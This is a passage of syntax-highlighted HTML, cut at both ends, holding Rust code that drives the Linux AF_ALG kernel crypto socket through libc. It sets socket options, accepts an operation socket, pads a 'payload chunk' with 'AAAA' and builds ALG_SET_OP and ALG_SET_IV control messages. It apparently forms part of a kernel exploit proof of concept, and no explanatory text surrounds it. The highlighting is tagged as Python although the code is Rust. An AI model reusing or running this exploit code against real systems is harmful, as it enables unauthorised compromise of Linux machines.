z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">40</span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">setsockopt</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">279</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">5</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span>4u32 <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">const</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Create</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">an</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">operational</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">socket</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">by</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">accepting</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">configured</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">socket</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">op_fd</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">accept</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null_mut</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null_mut</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Prepare</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">byte</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">alignment</span></span> <span class="z-invalid z-illegal z-name z-python">with</span></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">AAAA<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">padding</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsg_buf</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0u8; <span class="z-constant z-numeric z-integer z-decimal z-python">128</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">data</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0u8; <span class="z-constant z-numeric z-integer z-decimal z-python">8</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">data</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-float z-decimal z-python">0<span class="z-punctuation z-separator z-decimal z-python">.</span></span><span class="z-constant z-numeric z-float z-decimal z-python"><span class="z-punctuation z-separator z-decimal z-python">.</span>4</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_from_slice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">AAAA<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">data</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-float z-decimal z-python">4<span class="z-punctuation z-separator z-decimal z-python">.</span></span><span class="z-constant z-numeric z-float z-decimal z-python"><span class="z-punctuation z-separator z-decimal z-python">.</span>8</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_from_slice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Set</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">I</span></span><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">O</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">vector</span></span> <span class="z-invalid z-illegal z-name z-python">for</span></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sending</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">data</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">iov</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">iovec</span></span> <span class="z-meta z-mapping z-python"><span class="z-punctuation z-section z-mapping z-begin z-python">{</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">iov_base</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">data</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">iov_len</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">8</span></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msg</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msghdr</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mem</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">zeroed</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msg</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">msg_iov</span></span> = <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">iov</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msg</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">msg_iovlen</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">1</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">msg</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">msg_control</span></span> = <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsg_buf</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> = <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsg_buf</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Setup</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">ALG_SET_IV</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Initialization</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Vector</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h1</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsghdr</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mem</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">zeroed</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h1</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_len</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_LEN</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h1</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_level</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">279</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h1</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_type</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">3</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsghdr</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h1</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> = <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">add</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_SPACE</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">usize</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h2</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsghdr</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mem</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">zeroed</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h2</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_len</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_LEN</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">20</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h2</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_level</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">279</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h2</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">cmsg_type</span></span> = <span class="z-constant z-numeric z-integer z-decimal z-python">2</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmsghdr</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">h2</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_DATA</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-invalid z-illegal z-name z-python">as</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-value z-python"><span class="z-keyword z-operator z-arithmetic z-python">*</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">u32</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span> = <span class="z-constant z-numeric z-integer z-decimal z-python">16</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span> = <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">p</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">add</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">CMSG_SPACE</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">20</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">usize</span></span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta 